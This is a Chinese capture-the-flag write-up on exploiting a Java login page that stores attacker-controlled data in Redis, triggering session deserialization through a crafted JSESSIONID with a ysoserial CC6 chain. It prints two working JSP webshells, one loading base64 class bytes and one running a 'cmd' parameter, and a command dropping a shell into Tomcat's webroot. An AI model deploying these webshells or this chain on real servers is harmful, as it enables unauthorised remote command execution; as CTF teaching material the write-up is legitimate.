菜!又被das暴打了
 启动环境
题目附件提供了docker环境,直接利用:
一键搭建docker就可以了,如果中间java的docker没有下载好,可以先单独下载下来。
docker启动后就可以访问index.jsp来到我们的登录页了。
 源码怎么说
看了源码发现他的登录逻辑是直接被写死了,只能够通过下面这个账号密码登录:
无论登录成功还是失败,都会调用CacheUtil.setWithExpiry。看看他是个什么函数:
1 2 3 4 5
   | public static void setWithExpiry(byte[] key, byte[] value, int seconds) {         try (Jedis jedis = getJedis()) {             jedis.setex(key, seconds, value);         }     }
  | 
 
乍一看居然是jedis。jedis其实就是redis的java版本,又由于题目的源码只有一个loginServlet和一个CacheUtil,登录成功后往redis写信息,就这么简单的逻辑,哪里有洞呢?
 Jedis
现在看来基本上也只能够锁定jedis了。搜一下java redis漏洞,找到了浅蓝师傅的文章。文章里提到了java反序列化,但是他给出的代码显然和我们题目的写法是有出入的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
   | package cn.b1ue.redis.unserialize;
  import redis.clients.jedis.Jedis;
  import java.io.*;
 
 
 
 
 
  public class JDK {
      public static void main(String[] args) throws IOException, ClassNotFoundException {
          FileInputStream fileInputStream = new FileInputStream("src/main/java/cn/b1ue/redis/unserialize/beanutils_calc.ser");         ByteArrayOutputStream baos = new ByteArrayOutputStream();         byte[] buffer = new byte[128];         int iLength = 0;         while((iLength = fileInputStream.read(buffer)) != -1) {             baos.write(buffer, 0, iLength);         }
          byte[] bytes = baos.toByteArray();
          
          Jedis jedis = new Jedis("192.168.91.147", 6379);         jedis.set("x".getBytes(),bytes);
          byte[] badbyte = jedis.get("x".getBytes());
          ByteArrayInputStream stream = new ByteArrayInputStream(badbyte);         ObjectInputStream objectInputStream = new ObjectInputStream(stream);         Object o = objectInputStream.readObject();
          jedis.close();
      }
  }
   | 
 
我们仅仅只调用了setex,并不能造成上述的反序列化漏洞。那现在我们能做什么呢?线索到这里似乎是断了。
 Session反序列化
从Y4er师傅的文章里找到了一点蛛丝马迹:
拓展下攻击面,比如redis,这里@l1nk3r师傅公开了另一种使用redis的反序列化场景,问题出现在RedisSession类中,原理和9484差不多,id从jsessionid获取,value是反序列化数据,配合redis任意写入value来触发反序列化。
但是很可惜,l1nk3r师傅的博客已经关站跑路了,所以没得看具体的细节,只能够看这寥寥数行文字来进行攻击了。
简单地说就是需要通过jsessionid来获取到我们对应的id(key),这个时候会读取到它具体的value,从而进行反序列化。由于登录的时候会对我们的数据进行base64decode,所以我们可以直接往redis写入任意反序列化数据。
看了一眼lib,发现了一个cc依赖:
想到可以打cc链进去配合session反序列化数据。因为是cc依赖,所以直接用ysoserial生成就可以了。考虑出网的话可以尝试反弹shell,如果不出网的话就打一个jsp马就好了。
尝试cc6+反弹shell。这里要注意一下逻辑,我们往redis写的key是:
1 2
   | 如果登录成功: success::username 登录失败: fail::username
   | 
 
value是:
简单地说就是往password里写入反序列化数据,然后将jsessionid改成key的值即可触发session反序列化
现在登录:
必定登录会失败的,因此redis里的key写入的就是fail::Err0r233
将jsession修改一下然后重发,shell就弹过来了。
不出网的时候打一个jsp webshell到web目录就可以了:
web目录一般在:
1
   | ${tomcatpath}/webapps/ROOT/
  | 
 
jsp webshell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   | <%!     class U extends ClassLoader {         U(ClassLoader c) {             super(c);         }         public Class g(byte[] b) {             return super.defineClass(b, 0, b.length);         }     }
      public byte[] base64Decode(String str) throws Exception {         try {             Class clazz = Class.forName("sun.misc.BASE64Decoder");             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);         } catch (Exception e) {             Class clazz = Class.forName("java.util.Base64");             Object decoder = clazz.getMethod("getDecoder").invoke(null);             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);         }     } %> <%     String cls = request.getParameter("Qst");     if (cls != null) {         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);     } %>
   | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
   | <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.InputStreamReader" %>
  <%
 
  Runtime runtime = Runtime.getRuntime();
 
 
  Process process = runtime.exec(request.getParameter("cmd"));
 
  InputStream inputStream = process.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
 
  String line; while ((line = reader.readLine()) != null) {     out.println(line + "<br>"); }
  %>
   | 
 
将其b64加密后,写进cc6的命令里就可以了:
1
   | echo "xxx" | base64 -d > /usr/local/tomcat/webapps/ROOT/shell.jsp
   | 
 
重复上面的操作即可打jsp webshell进去。